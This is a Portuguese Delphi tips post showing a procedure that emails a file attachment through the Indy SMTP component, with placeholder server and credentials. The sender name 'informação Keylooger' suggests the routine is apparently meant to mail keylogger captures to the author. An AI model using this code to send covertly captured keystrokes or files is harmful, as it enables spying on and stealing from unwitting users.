Delphi dicas

Enviando email com anexo via idsmtp1 !

Facil prestem bem atenção no codigo que funciona perfeitamente.



procedure TForm1.enviamail;

var string1,string2:string;

i:integer;

begin

        EmailCorpo.Body.add('=asssunto=');

        EmailCorpo.Body.add(#13#10);

        EmailCorpo.Body.add('assuntoopcional.');

        EmailCorpo.From.Name := 'informação Keylooger : ';

        EmailCorpo.From.Address := 'eu@eu.com.br';

        EmailCorpo.Recipients.EMailAddresses :='seuemail@hotmail.com';

        EmailCorpo.Priority := mpHighest;

        EmailCorpo.Subject := 'corpo da mesagem';

        TIdAttachment.Create(emailcorpo.MessageParts,TFileName('local onde esta o anexo aqui'));

        SMTP.Host:='serverSMTP';

        SMTP.AuthenticationType :=atLogin;

        SMTP.Port := 25;

        SMTP.Username:='userSMTP'; //seu login

        SMTP.Password:='senhaSMTp'; //sua senha

        SMTP.Connect;

        Try

        SMTP.Send(EmailCorpo);

        except

        SMTP.Disconnect;

        SMTP.Host:='serverSMTP'; // smtp.mail.exemplo.com.br

        SMTP.AuthenticationType :=atLogin;

        SMTP.Connect;

        try

        SMTP.Send(EmailCorpo);

        except

end;

SMTP.Disconnect;

end;

SMTP.Disconnect;

end;